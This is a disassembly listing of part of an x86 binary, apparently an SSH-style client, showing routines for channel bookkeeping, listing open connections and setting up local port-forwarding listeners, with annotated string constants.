080590c9  e8 62 d6 ff ff        call    08056730 <Unknown0153>
080590ce  83 c4 0c              add     $0xc,%esp
080590d1  89 c3                 mov     %eax,%ebx
080590d3  89 f0                 mov     %esi,%eax
080590d5  ff 75 f4              pushl   0xfffffff4(%ebp)
080590d8  03 05 48 7e 07 08     add     0x8077e48,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
080590de  53                    push    %ebx
080590df  83 c0 24              add     $0x24,%eax
080590e2  50                    push    %eax
080590e3  e8 9c c8 ff ff        call    08055984 <Unknown0117>
080590e8  89 1c 24              mov     %ebx,(%esp,1)
080590eb  e8 20 de ff ff        call    08056f10 <Unknown0172>
080590f0  83 c4 10              add     $0x10,%esp
080590f3  eb 08                 jmp     080590fd <Unknown0194+0xd9>
080590f5  8d 76 00              lea     0x0(%esi),%esi
080590f8  e8 4b d6 ff ff        call    08056748 <Unknown0154>
080590fd  8d 65 f8              lea     0xfffffff8(%ebp),%esp
08059100  5b                    pop     %ebx
08059101  5e                    pop     %esi
08059102  5d                    pop     %ebp
08059103  c3                    ret

  ;
  ; >--------------------< Subroutine # 195 >--------------------<
  ;
08059104 <Unknown0195>:
08059104  55                    push    %ebp
08059105  b8 01 00 00 00        mov     $0x1,%eax  ;1 'x1 x0 x0 x0' ""
0805910a  89 e5                 mov     %esp,%ebp
0805910c  5d                    pop     %ebp
0805910d  c3                    ret
0805910e  89 f6                 mov     %esi,%esi

  ;
  ; >--------------------< Subroutine # 196 >--------------------<
  ;
08059110 <Unknown0196>:
08059110  55                    push    %ebp
08059111  89 e5                 mov     %esp,%ebp
08059113  83 ec 08              sub     $0x8,%esp
08059116  f6 05 1c 7e 07 08 01  testb   $0x1,0x8077e1c  ;[in .data] 0 'x0 x0 x0 x0' ""
0805911d  74 11                 je      08059130 <Unknown0196+0x20>
0805911f  83 ec 0c              sub     $0xc,%esp
08059122  6a 01                 push    $0x1
08059124  e8 ab f4 ff ff        call    080585d4 <Unknown0190>
08059129  83 c4 10              add     $0x10,%esp
0805912c  c9                    leave
0805912d  c3                    ret
0805912e  89 f6                 mov     %esi,%esi
08059130  c9                    leave
08059131  e9 3e f4 ff ff        jmp     08058574 <Unknown0189>  ;-3010 'x3e xf4 xff xff' ">"
08059136  89 f6                 mov     %esi,%esi

  ;
  ; >--------------------< Subroutine # 197 >--------------------<
```

```
        ;
08059138 <Unknown0197>:
08059138   55                       push    %ebp
08059139   89 e5                    mov     %esp,%ebp
0805913b   83 ec 08                 sub     $0x8,%esp
0805913e   f6 05 1c 7e 07 08 01     testb   $0x1,0x8077e1c   ;[in .data] 0 'x0 x0 x0 x0' ""
08059145   74 11                    je      08059158 <Unknown0197+0x20>
08059147   83 ec 0c                 sub     $0xc,%esp
0805914a   6a 00                    push    $0x0
0805914c   e8 83 f4 ff ff           call    080585d4 <Unknown0190>
08059151   83 c4 10                 add     $0x10,%esp
08059154   c9                       leave
08059155   c3                       ret
08059156   89 f6                    mov     %esi,%esi
08059158   c9                       leave
08059159   e9 b6 f3 ff ff           jmp     08058514 <Unknown0188+0x54>   ;-3146 'xb6 xf3 xff xff' ""
0805915e   89 f6                    mov     %esi,%esi


        ;
        ; >---------------------<  Subroutine # 198 >---------------------<
        ;
08059160 <Unknown0198>:
08059160   55                       push    %ebp
08059161   89 e5                    mov     %esp,%ebp
08059163   57                       push    %edi
08059164   56                       push    %esi
08059165   53                       push    %ebx
08059166   83 ec 0c                 sub     $0xc,%esp
08059169   e8 96 d5 ff ff           call    08056704 <Unknown0151>
0805916e   89 c7                    mov     %eax,%edi
08059170   85 ff                    test    %edi,%edi
08059172   78 1c                    js      08059190 <Unknown0198+0x30>
08059174   3b 3d 4c 7e 07 08        cmp     0x8077e4c,%edi   ;[in .data] 0 'x0 x0 x0 x0' ""
0805917a   7d 14                    jge     08059190 <Unknown0198+0x30>
0805917c   c1 e0 05                 shl     $0x5,%eax
0805917f   01 f8                    add     %edi,%eax
08059181   8b 15 48 7e 07 08        mov     0x8077e48,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
08059187   8d 04 47                 lea     (%edi,%eax,2),%eax
0805918a   83 3c 82 03              cmpl    $0x3,(%edx,%eax,4)
0805918e   74 11                    je      080591a1 <Unknown0198+0x41>
08059190   83 ec 08                 sub     $0x8,%esp
08059193   57                       push    %edi
08059194   68 40 24 07 08           push    $0x8072440   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                            open confirmation for non-opening channel %d."
08059199   e8 42 d6 ff ff           call    080567e0 <Unknown0157>
0805919e   83 c4 10                 add     $0x10,%esp
080591a1   89 fb                    mov     %edi,%ebx
080591a3   c1 e3 05                 shl     $0x5,%ebx
080591a6   01 fb                    add     %edi,%ebx
080591a8   e8 57 d5 ff ff           call    08056704 <Unknown0151>
080591ad   8d 1c 5f                 lea     (%edi,%ebx,2),%ebx
080591b0   83 ec 08                 sub     $0x8,%esp
080591b3   c1 e3 02                 shl     $0x2,%ebx
080591b6   89 c6                    mov     %eax,%esi
080591b8   a1 48 7e 07 08           mov     0x8077e48,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
080591bd   ff 74 18 10              pushl   0x10(%eax,%ebx,1)
080591c1   68 80 24 07 08           push    $0x8072480   ;[in .rodata] 1851877443 'x43 x68 x61 x6e' "Channel now
                                                            open, status bits %x"
080591c6   e8 b5 6b ff ff           call    0804fd80 <Unknown0039>
080591cb   a1 48 7e 07 08           mov     0x8077e48,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
080591d0   89 74 18 08              mov     %esi,0x8(%eax,%ebx,1)
080591d4   c7 04 18 04 00 00 00     movl    $0x4,(%eax,%ebx,1)   ;4 'x4 x0 x0 x0' ""
080591db   8d 65 f4                 lea     0xfffffff4(%ebp),%esp
080591de   5b                       pop     %ebx
080591df   5e                       pop     %esi
080591e0   5f                       pop     %edi
080591e1   5d                       pop     %ebp
080591e2   c3                       ret
080591e3   90                       nop


        ;
        ; >---------------------<  Subroutine # 199 >---------------------<
        ;
080591e4 <Unknown0199>:
080591e4   55                       push    %ebp
080591e5   89 e5                    mov     %esp,%ebp
080591e7   53                       push    %ebx
080591e8   53                       push    %ebx
080591e9   e8 16 d5 ff ff           call    08056704 <Unknown0151>
080591ee   89 c3                    mov     %eax,%ebx
080591f0   85 db                    test    %ebx,%ebx
080591f2   78 1c                    js      08059210 <Unknown0199+0x2c>
```

```
080591f4   3b 1d 4c 7e 07 08    cmp     0x8077e4c,%ebx   ;[in .data] 0 'x0 x0 x0 x0' ""
080591fa   7d 14                jge     08059210 <Unknown0199+0x2c>
080591fc   c1 e0 05             shl     $0x5,%eax
080591ff   01 d8                add     %ebx,%eax
08059201   8b 15 48 7e 07 08    mov     0x8077e48,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
08059207   8d 04 43             lea     (%ebx,%eax,2),%eax
0805920a   83 3c 82 03          cmpl    $0x3,(%edx,%eax,4)
0805920e   74 11                je      08059221 <Unknown0199+0x3d>
08059210   83 ec 08             sub     $0x8,%esp
08059213   53                   push    %ebx
08059214   68 c0 24 07 08       push    $0x80724c0   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                             open failure for non-opening channel %d."
08059219   e8 c2 d5 ff ff       call    080567e0 <Unknown0157>
0805921e   83 c4 10             add     $0x10,%esp
08059221   83 ec 0c             sub     $0xc,%esp
08059224   53                   push    %ebx
08059225   e8 2a ef ff ff       call    08058154 <Unknown0181>
0805922a   8b 5d fc             mov     0xfffffffc(%ebp),%ebx
0805922d   c9                   leave
0805922e   c3                   ret
0805922f   90                   nop


  ;
  ; >--------------------< Subroutine # 200 >--------------------<
  ;
08059230 <Unknown0200>:
08059230   55                   push    %ebp
08059231   89 e5                mov     %esp,%ebp
08059233   8b 0d 4c 7e 07 08    mov     0x8077e4c,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
08059239   56                   push    %esi
0805923a   31 f6                xor     %esi,%esi
0805923c   39 ce                cmp     %ecx,%esi
0805923e   53                   push    %ebx
0805923f   7d 4f                jge     08059290 <Unknown0200+0x60>
08059241   31 db                xor     %ebx,%ebx
08059243   90                   nop
08059244   8b 15 48 7e 07 08    mov     0x8077e48,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0805924a   8b 04 1a             mov     (%edx,%ebx,1),%eax
0805924d   83 f8 01             cmp     $0x1,%eax
08059250   7c 33                jl      08059285 <Unknown0200+0x55>
08059252   83 f8 02             cmp     $0x2,%eax
08059255   7e 11                jle     08059268 <Unknown0200+0x38>
08059257   83 f8 0a             cmp     $0xa,%eax
0805925a   75 29                jne     08059285 <Unknown0200+0x55>
0805925c   83 ec 0c             sub     $0xc,%esp
0805925f   6a 00                push    $0x0
08059261   e8 86 0f 00 00       call    0805a1ec <Unknown0216>
08059266   eb 14                jmp     0805927c <Unknown0200+0x4c>
08059268   83 ec 0c             sub     $0xc,%esp
0805926b   ff 74 1a 04          pushl   0x4(%edx,%ebx,1)
0805926f   e8 68 0a ff ff       call    08049cdc <close>
08059274   89 34 24             mov     %esi,(%esp,1)
08059277   e8 d8 ee ff ff       call    08058154 <Unknown0181>
0805927c   83 c4 10             add     $0x10,%esp
0805927f   8b 0d 4c 7e 07 08    mov     0x8077e4c,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
08059285   46                   inc     %esi
08059286   81 c3 0c 01 00 00    add     $0x10c,%ebx   ;268 'xc x1 x0 x0' ""
0805928c   39 ce                cmp     %ecx,%esi
0805928e   7c b4                jl      08059244 <Unknown0200+0x14>
08059290   8d 65 f8             lea     0xfffffff8(%ebp),%esp
08059293   5b                   pop     %ebx
08059294   5e                   pop     %esi
08059295   5d                   pop     %ebp
08059296   c3                   ret
08059297   90                   nop


  ;
  ; >--------------------< Subroutine # 201 >--------------------<
  ;
08059298 <Unknown0201>:
08059298   55                   push    %ebp
08059299   89 e5                mov     %esp,%ebp
0805929b   8b 15 4c 7e 07 08    mov     0x8077e4c,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
080592a1   56                   push    %esi
080592a2   31 f6                xor     %esi,%esi
080592a4   39 d6                cmp     %edx,%esi
080592a6   53                   push    %ebx
080592a7   7d 2f                jge     080592d8 <Unknown0201+0x40>
080592a9   31 db                xor     %ebx,%ebx
080592ab   90                   nop
080592ac   a1 48 7e 07 08       mov     0x8077e48,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
080592b1   8b 0c 18             mov     (%eax,%ebx,1),%ecx
```

```
080592b4   85 c9                          test    %ecx,%ecx
080592b6   74 15                          je      080592cd <Unknown0201+0x35>
080592b8   83 ec 0c                       sub     $0xc,%esp
080592bb   ff 74 18 04                    pushl   0x4(%eax,%ebx,1)
080592bf   e8 18 0a ff ff                 call    08049cdc <close>
080592c4   83 c4 10                       add     $0x10,%esp
080592c7   8b 15 4c 7e 07 08              mov     0x8077e4c,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
080592cd   46                             inc     %esi
080592ce   81 c3 0c 01 00 00              add     $0x10c,%ebx      ;268 'xc x1 x0 x0' ""
080592d4   39 d6                          cmp     %edx,%esi
080592d6   7c d4                          jl      080592ac <Unknown0201+0x14>
080592d8   8d 65 f8                       lea     0xfffffff8(%ebp),%esp
080592db   5b                             pop     %ebx
080592dc   5e                             pop     %esi
080592dd   5d                             pop     %ebp
080592de   c3                             ret
080592df   90                             nop


  ;
  ; >---------------------< Subroutine # 202 >---------------------<
  ;
080592e0 <Unknown0202>:
080592e0   55                             push    %ebp
080592e1   a1 54 7e 07 08                 mov     0x8077e54,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
080592e6   89 e5                          mov     %esp,%ebp
080592e8   5d                             pop     %ebp
080592e9   c3                             ret
080592ea   89 f6                          mov     %esi,%esi


  ;
  ; >---------------------< Subroutine # 203 >---------------------<
  ;
080592ec <Unknown0203>:
080592ec   55                             push    %ebp
080592ed   89 e5                          mov     %esp,%ebp
080592ef   53                             push    %ebx
080592f0   53                             push    %ebx
080592f1   8b 0d 4c 7e 07 08              mov     0x8077e4c,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
080592f7   31 db                          xor     %ebx,%ebx
080592f9   39 cb                          cmp     %ecx,%ebx
080592fb   73 53                          jae     08059350 <Unknown0203+0x64>
080592fd   8d 76 00                       lea     0x0(%esi),%esi
08059300   89 d8                          mov     %ebx,%eax
08059302   c1 e0 05                       shl     $0x5,%eax
08059305   01 d8                          add     %ebx,%eax
08059307   8b 15 48 7e 07 08              mov     0x8077e48,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0805930d   8d 04 43                       lea     (%ebx,%eax,2),%eax
08059310   8b 04 82                       mov     (%edx,%eax,4),%eax
08059313   83 f8 0a                       cmp     $0xa,%eax
08059316   77 10                          ja      08059328 <Unknown0203+0x3c>
08059318   ff 24 85 30 25 07 08           jmp     *0x8072530(,%eax,4)  ;[in .rodata] 134583115 'x4b x93 x5 x8' "K"
0805931f   90                             nop
08059320   b8 01 00 00 00                 mov     $0x1,%eax   ;1 'x1 x0 x0 x0' ""
08059325   eb 2b                          jmp     08059352 <Unknown0203+0x66>
08059327   90                             nop
08059328   89 d8                          mov     %ebx,%eax
0805932a   c1 e0 05                       shl     $0x5,%eax
0805932d   01 d8                          add     %ebx,%eax
0805932f   83 ec 08                       sub     $0x8,%esp
08059332   8d 04 43                       lea     (%ebx,%eax,2),%eax
08059335   ff 34 82                       pushl   (%edx,%eax,4)
08059338   68 00 25 07 08                 push    $0x8072500   ;[in .rodata] 1851877475 'x63 x68 x61 x6e'
                                                               "channel_still_open: bad channel type %d"
0805933d   e8 1a 6c ff ff                 call    0804ff5c <Unknown0044>
08059342   83 c4 10                       add     $0x10,%esp
08059345   8b 0d 4c 7e 07 08              mov     0x8077e4c,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
0805934b   43                             inc     %ebx
0805934c   39 cb                          cmp     %ecx,%ebx
0805934e   72 b0                          jb      08059300 <Unknown0203+0x14>
08059350   31 c0                          xor     %eax,%eax
08059352   8b 5d fc                       mov     0xfffffffc(%ebp),%ebx
08059355   c9                             leave
08059356   c3                             ret
08059357   90                             nop


  ;
  ; >---------------------< Subroutine # 204 >---------------------<
  ;
08059358 <Unknown0204>:
08059358   55                             push    %ebp
08059359   89 e5                          mov     %esp,%ebp
```

```
0805935b  57                        push    %edi
0805935c  56                        push    %esi
0805935d  53                        push    %ebx
0805935e  81 ec 28 02 00 00         sub     $0x228,%esp  ;552 'x28 x2 x0 x0' "("
08059364  8d 75 d8                  lea     0xffffffd8(%ebp),%esi
08059367  56                        push    %esi
08059368  e8 a7 c5 ff ff            call    08055914 <Unknown0114>
0805936d  83 c4 0c                  add     $0xc,%esp
08059370  68 60 25 07 08            push    $0x8072560  ;[in .rodata] 543516756 'x54 x68 x65 x20' "The
                                                         following connections are open:"
08059375  68 00 02 00 00            push    $0x200  ;512 'x0 x2 x0 x0' ""
0805937a  8d 9d d8 fd ff ff         lea     0xfffffdd8(%ebp),%ebx  ;-552 'xd8 xfd xff xff' ""
08059380  53                        push    %ebx
08059381  89 df                     mov     %ebx,%edi
08059383  e8 54 0f ff ff            call    0804a2dc <snprintf>
08059388  31 c0                     xor     %eax,%eax
0805938a  fc                        cld
0805938b  b9 ff ff ff ff            mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
08059390  f2 ae                     repnz scas %es:(%edi),%al
08059392  f7 d1                     not     %ecx
08059394  83 c4 0c                  add     $0xc,%esp
08059397  49                        dec     %ecx
08059398  51                        push    %ecx
08059399  53                        push    %ebx
0805939a  56                        push    %esi
0805939b  e8 e4 c5 ff ff            call    08055984 <Unknown0117>
080593a0  31 f6                     xor     %esi,%esi
080593a2  8b 15 4c 7e 07 08         mov     0x8077e4c,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
080593a8  83 c4 10                  add     $0x10,%esp
080593ab  39 d6                     cmp     %edx,%esi
080593ad  0f 8d 95 00 00 00         jge     08059448 <Unknown0204+0xf0>  ;149 'x95 x0 x0 x0' ""
080593b3  90                        nop
080593b4  89 f0                     mov     %esi,%eax
080593b6  c1 e0 05                  shl     $0x5,%eax
080593b9  01 f0                     add     %esi,%eax
080593bb  8b 0d 48 7e 07 08         mov     0x8077e48,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
080593c1  8d 04 46                  lea     (%esi,%eax,2),%eax
080593c4  8b 04 81                  mov     (%ecx,%eax,4),%eax
080593c7  83 f8 0a                  cmp     $0xa,%eax
080593ca  77 50                     ja      0805941c <Unknown0204+0xc4>
080593cc  ff 24 85 a0 25 07 08      jmp     *0x80725a0(,%eax,4)  ;[in .rodata] 134583359 'x3f x94 x5 x8' "?"
080593d3  90                        nop
080593d4  89 f0                     mov     %esi,%eax
080593d6  c1 e0 05                  shl     $0x5,%eax
080593d9  01 f0                     add     %esi,%eax
080593db  8d 04 46                  lea     (%esi,%eax,2),%eax
080593de  ff b4 81 04 01 00 00      pushl   0x104(%ecx,%eax,4)  ;260 'x4 x1 x0 x0' ""
080593e5  68 86 25 07 08            push    $0x8072586  ;[in .rodata] 774184992 'x20 x20 x25 x2e' "  %.300s"
080593ea  68 00 02 00 00            push    $0x200  ;512 'x0 x2 x0 x0' ""
080593ef  8d 9d d8 fd ff ff         lea     0xfffffdd8(%ebp),%ebx  ;-552 'xd8 xfd xff xff' ""
080593f5  53                        push    %ebx
080593f6  89 df                     mov     %ebx,%edi
080593f8  e8 df 0e ff ff            call    0804a2dc <snprintf>
080593fd  fc                        cld
080593fe  31 c0                     xor     %eax,%eax
08059400  b9 ff ff ff ff            mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
08059405  f2 ae                     repnz scas %es:(%edi),%al
08059407  f7 d1                     not     %ecx
08059409  83 c4 0c                  add     $0xc,%esp
0805940c  49                        dec     %ecx
0805940d  51                        push    %ecx
0805940e  53                        push    %ebx
0805940f  8d 45 d8                  lea     0xffffffd8(%ebp),%eax
08059412  50                        push    %eax
08059413  e8 6c c5 ff ff            call    08055984 <Unknown0117>
08059418  eb 1c                     jmp     08059436 <Unknown0204+0xde>
0805941a  89 f6                     mov     %esi,%esi
0805941c  89 f0                     mov     %esi,%eax
0805941e  c1 e0 05                  shl     $0x5,%eax
08059421  01 f0                     add     %esi,%eax
08059423  83 ec 08                  sub     $0x8,%esp
08059426  8d 04 46                  lea     (%esi,%eax,2),%eax
08059429  ff 34 81                  pushl   (%ecx,%eax,4)
0805942c  68 00 25 07 08            push    $0x8072500  ;[in .rodata] 1851877475 'x63 x68 x61 x6e'
                                                         "channel_still_open: bad channel type %d"
08059431  e8 26 6b ff ff            call    0804ff5c <Unknown0044>
08059436  83 c4 10                  add     $0x10,%esp
08059439  8b 15 4c 7e 07 08         mov     0x8077e4c,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
0805943f  46                        inc     %esi
08059440  39 d6                     cmp     %edx,%esi
08059442  0f 8c 6c ff ff ff         jl      080593b4 <Unknown0204+0x5c>  ;-148 'x6c xff xff xff' "l"
08059448  56                        push    %esi
08059449  6a 01                     push    $0x1
0805944b  68 91 25 07 08            push    $0x8072591  ;[in .rodata] 0 'x0 x0 x0 x0' ""
```

```
08059450   8d 5d d8              lea     0xffffffd8(%ebp),%ebx
08059453   53                   push    %ebx
08059454   e8 2b c5 ff ff       call    08055984 <Unknown0117>
08059459   89 1c 24             mov     %ebx,(%esp,1)
0805945c   e8 ab c6 ff ff       call    08055b0c <Unknown0123>
08059461   89 04 24             mov     %eax,(%esp,1)
08059464   e8 cf da ff ff       call    08056f38 <Unknown0173>
08059469   89 c6                mov     %eax,%esi
0805946b   89 1c 24             mov     %ebx,(%esp,1)
0805946e   e8 d1 c4 ff ff       call    08055944 <Unknown0115>
08059473   8d 65 f4             lea     0xfffffff4(%ebp),%esp
08059476   5b                   pop     %ebx
08059477   89 f0                mov     %esi,%eax
08059479   5e                   pop     %esi
0805947a   5f                   pop     %edi
0805947b   5d                   pop     %ebp
0805947c   c3                   ret
0805947d   8d 76 00             lea     0x0(%esi),%esi


  ;
  ; >---------------------<  Subroutine # 205 >---------------------<
  ;
08059480 <Unknown0205>:
08059480   55                   push    %ebp
08059481   89 e5                mov     %esp,%ebp
08059483   57                   push    %edi
08059484   56                   push    %esi
08059485   53                   push    %ebx
08059486   83 ec 1c             sub     $0x1c,%esp
08059489   31 c0                xor     %eax,%eax
0805948b   8b 7d 0c             mov     0xc(%ebp),%edi
0805948e   fc                   cld
0805948f   b9 ff ff ff ff       mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
08059494   f2 ae                repnz scas %es:(%edi),%al
08059496   f7 d1                not     %ecx
08059498   49                   dec     %ecx
08059499   81 f9 c7 00 00 00    cmp     $0xc7,%ecx   ;199 'xc7 x0 x0 x0' ""
0805949f   8b 75 08             mov     0x8(%ebp),%esi
080594a2   76 10                jbe     080594b4 <Unknown0205+0x34>
080594a4   83 ec 0c             sub     $0xc,%esp
080594a7   68 cc 25 07 08       push    $0x80725cc   ;[in .rodata] 2003988294 'x46 x6f x72 x77' "Forward
                                                        host name too long."
080594ac   e8 2f d3 ff ff       call    080567e0 <Unknown0157>
080594b1   83 c4 10             add     $0x10,%esp
080594b4   50                   push    %eax
080594b5   6a 00                push    $0x0
080594b7   6a 01                push    $0x1
080594b9   6a 02                push    $0x2
080594bb   e8 ac 0f ff ff       call    0804a46c <socket>
080594c0   89 c3                mov     %eax,%ebx
080594c2   83 c4 10             add     $0x10,%esp
080594c5   85 db                test    %ebx,%ebx
080594c7   79 20                jns     080594e9 <Unknown0205+0x69>
080594c9   83 ec 10             sub     $0x10,%esp
080594cc   e8 6b 09 ff ff       call    08049e3c <__errno_location>
080594d1   5f                   pop     %edi
080594d2   ff 30                pushl   (%eax)
080594d4   e8 13 09 ff ff       call    08049dec <strerror>
080594d9   5a                   pop     %edx
080594da   59                   pop     %ecx
080594db   50                   push    %eax
080594dc   68 e8 25 07 08       push    $0x80725e8   ;[in .rodata] 1801678707 'x73 x6f x63 x6b' "socket:
                                                        %.100s"
080594e1   e8 fa d2 ff ff       call    080567e0 <Unknown0157>
080594e6   83 c4 10             add     $0x10,%esp
080594e9   50                   push    %eax
080594ea   68 00 08 00 00       push    $0x800   ;2048 'x0 x8 x0 x0' ""
080594ef   6a 04                push    $0x4
080594f1   53                   push    %ebx
080594f2   e8 35 0d ff ff       call    0804a22c <fcntl>
080594f7   8b 7d 14             mov     0x14(%ebp),%edi
080594fa   83 c4 10             add     $0x10,%esp
080594fd   85 ff                test    %edi,%edi
080594ff   c7 45 d8 00 00 00 00 movl    $0x0,0xffffffd8(%ebp)   ;0 'x0 x0 x0 x0' ""
08059506   c7 45 dc 00 00 00 00 movl    $0x0,0xffffffdc(%ebp)   ;0 'x0 x0 x0 x0' ""
0805950d   c7 45 e0 00 00 00 00 movl    $0x0,0xffffffe0(%ebp)   ;0 'x0 x0 x0 x0' ""
08059514   c7 45 e4 00 00 00 00 movl    $0x0,0xffffffe4(%ebp)   ;0 'x0 x0 x0 x0' ""
0805951b   66 c7 45 d8 02 00    movw    $0x2,0xffffffd8(%ebp)
08059521   75 13                jne     08059536 <Unknown0205+0xb6>
08059523   83 ec 0c             sub     $0xc,%esp
08059526   68 f7 25 07 08       push    $0x80725f7   ;[in .rodata] 775369265 'x31 x32 x37 x2e' "127.0.0.1"
0805952b   e8 1c 0c ff ff       call    0804a14c <inet_addr>
08059530   89 45 dc             mov     %eax,0xffffffdc(%ebp)
```

```
08059533  83 c4 10           add     $0x10,%esp
08059536  89 f0              mov     %esi,%eax
08059538  66 c1 c8 08        ror     $0x8,%ax
0805953c  51                 push    %ecx
0805953d  6a 10              push    $0x10
0805953f  66 89 45 da        mov     %ax,0xffffffda(%ebp)
08059543  8d 45 d8           lea     0xffffffd8(%ebp),%eax
08059546  50                 push    %eax
08059547  53                 push    %ebx
08059548  e8 af 0c ff ff     call    0804a1fc <bind>
0805954d  83 c4 10           add     $0x10,%esp
08059550  85 c0              test    %eax,%eax
08059552  79 20              jns     08059574 <Unknown0205+0xf4>
08059554  83 ec 10           sub     $0x10,%esp
08059557  e8 e0 08 ff ff     call    08049e3c <__errno_location>
0805955c  5a                 pop     %edx
0805955d  ff 30              pushl   (%eax)
0805955f  e8 88 08 ff ff     call    08049dec <strerror>
08059564  59                 pop     %ecx
08059565  5f                 pop     %edi
08059566  50                 push    %eax
08059567  68 01 26 07 08     push    $0x8072601   ;[in .rodata] 1684957538 'x62 x69 x6e x64' "bind:
                                                    %.100s"
0805956c  e8 6f d2 ff ff     call    080567e0 <Unknown0157>
08059571  83 c4 10           add     $0x10,%esp
08059574  83 ec 08           sub     $0x8,%esp
08059577  6a 05              push    $0x5
08059579  53                 push    %ebx
0805957a  e8 7d 09 ff ff     call    08049efc <listen>
0805957f  83 c4 10           add     $0x10,%esp
08059582  85 c0              test    %eax,%eax
08059584  79 20              jns     080595a6 <Unknown0205+0x126>
08059586  83 ec 10           sub     $0x10,%esp
08059589  e8 ae 08 ff ff     call    08049e3c <__errno_location>
0805958e  5a                 pop     %edx
0805958f  ff 30              pushl   (%eax)
08059591  e8 56 08 ff ff     call    08049dec <strerror>
08059596  59                 pop     %ecx
08059597  5f                 pop     %edi
08059598  50                 push    %eax
08059599  68 0e 26 07 08     push    $0x807260e   ;[in .rodata] 1953720684 'x6c x69 x73 x74' "listen:
                                                    %.100s"
0805959e  e8 3d d2 ff ff     call    080567e0 <Unknown0157>
080595a3  83 c4 10           add     $0x10,%esp
080595a6  83 ec 0c           sub     $0xc,%esp
080595a9  68 1d 26 07 08     push    $0x807261d   ;[in .rodata] 1953656688 'x70 x6f x72 x74' "port
                                                    listener"
080595ae  e8 85 d9 ff ff     call    08056f38 <Unknown0173>
080595b3  83 c4 0c           add     $0xc,%esp
080595b6  50                 push    %eax
080595b7  53                 push    %ebx
080595b8  6a 02              push    $0x2
080595ba  e8 ad e9 ff ff     call    08057f6c <Unknown0180>
080595bf  89 c3              mov     %eax,%ebx
080595c1  c1 e3 05           shl     $0x5,%ebx
080595c4  01 c3              add     %eax,%ebx
080595c6  8d 1c 58           lea     (%eax,%ebx,2),%ebx
080595c9  c1 e3 02           shl     $0x2,%ebx
080595cc  5f                 pop     %edi
080595cd  89 d8              mov     %ebx,%eax
080595cf  5a                 pop     %edx
080595d0  03 05 48 7e 07 08  add     0x8077e48,%eax   ;[in .data] 0 'x0 x0 x0 x0' ""
080595d6  ff 75 0c           pushl   0xc(%ebp)
080595d9  83 c0 34           add     $0x34,%eax
080595dc  50                 push    %eax
080595dd  e8 0a 0f ff ff     call    0804a4ec <strcpy>
080595e2  8b 45 10           mov     0x10(%ebp),%eax
080595e5  8b 15 48 7e 07 08  mov     0x8077e48,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
080595eb  89 84 1a fc 00 00 00  mov  %eax,0xfc(%edx,%ebx,1)   ;252 'xfc x0 x0 x0' ""
080595f2  89 b4 1a 00 01 00 00  mov  %esi,0x100(%edx,%ebx,1)   ;256 'x0 x1 x0 x0' ""
080595f9  83 c4 10           add     $0x10,%esp
080595fc  8d 65 f4           lea     0xfffffff4(%ebp),%esp
080595ff  5b                 pop     %ebx
08059600  5e                 pop     %esi
08059601  5f                 pop     %edi
08059602  5d                 pop     %ebp
08059603  c3                 ret

  ;
  ; >---------------------<  Subroutine # 206 >---------------------<
  ;
08059604 <Unknown0206>:
08059604  55                 push    %ebp
```

```
08059605   89 e5                       mov     %esp,%ebp
08059607   57                          push    %edi
08059608   56                          push    %esi
08059609   53                          push    %ebx
0805960a   83 ec 18                    sub     $0x18,%esp
0805960d   6a 1c                       push    $0x1c
0805960f   8b 5d 0c                    mov     0xc(%ebp),%ebx
08059612   8b 75 10                    mov     0x10(%ebp),%esi
08059615   e8 fa c9 ff ff              call    08056014 <Unknown0138>
0805961a   58                          pop     %eax
0805961b   ff 75 08                    pushl   0x8(%ebp)
0805961e   e8 51 ca ff ff              call    08056074 <Unknown0141>
08059623   59                          pop     %ecx
08059624   5f                          pop     %edi
08059625   31 c0                       xor     %eax,%eax
08059627   fc                          cld
08059628   89 df                       mov     %ebx,%edi
0805962a   b9 ff ff ff ff              mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0805962f   f2 ae                       repnz scas %es:(%edi),%al
08059631   f7 d1                       not     %ecx
08059633   49                          dec     %ecx
08059634   51                          push    %ecx
08059635   53                          push    %ebx
08059636   e8 51 ca ff ff              call    0805608c <Unknown0142>
0805963b   89 34 24                    mov     %esi,(%esp,1)
0805963e   e8 31 ca ff ff              call    08056074 <Unknown0141>
08059643   e8 74 ca ff ff              call    080560bc <Unknown0144>
08059648   e8 af d2 ff ff              call    080568fc <Unknown0159>
0805964d   e8 96 cc ff ff              call    080562e8 <Unknown0145>
08059652   83 c4 10                    add     $0x10,%esp
08059655   83 f8 0f                    cmp     $0xf,%eax
08059658   75 12                       jne     0805966c <Unknown0206+0x68>
0805965a   56                          push    %esi
0805965b   53                          push    %ebx
0805965c   ff 75 08                    pushl   0x8(%ebp)
0805965f   68 40 26 07 08              push    $0x8072640    ;[in .rodata] 1869440338 'x52 x65 x6d x6f' "Remote end
                                                              denied port forwarding to %d:%.50s:%d"
08059664   e8 17 67 ff ff              call    0804fd80 <Unknown0039>
08059669   eb 59                       jmp     080596c4 <Unknown0206+0xc0>
0805966b   90                          nop
0805966c   83 f8 0e                    cmp     $0xe,%eax
0805966f   74 11                       je      08059682 <Unknown0206+0x7e>
08059671   52                          push    %edx
08059672   50                          push    %eax
08059673   6a 0e                       push    $0xe
08059675   68 80 26 07 08              push    $0x8072680    ;[in .rodata] 1953460816 'x50 x72 x6f x74' "Protocol
                                                              error: expected packet type %d, got %d"
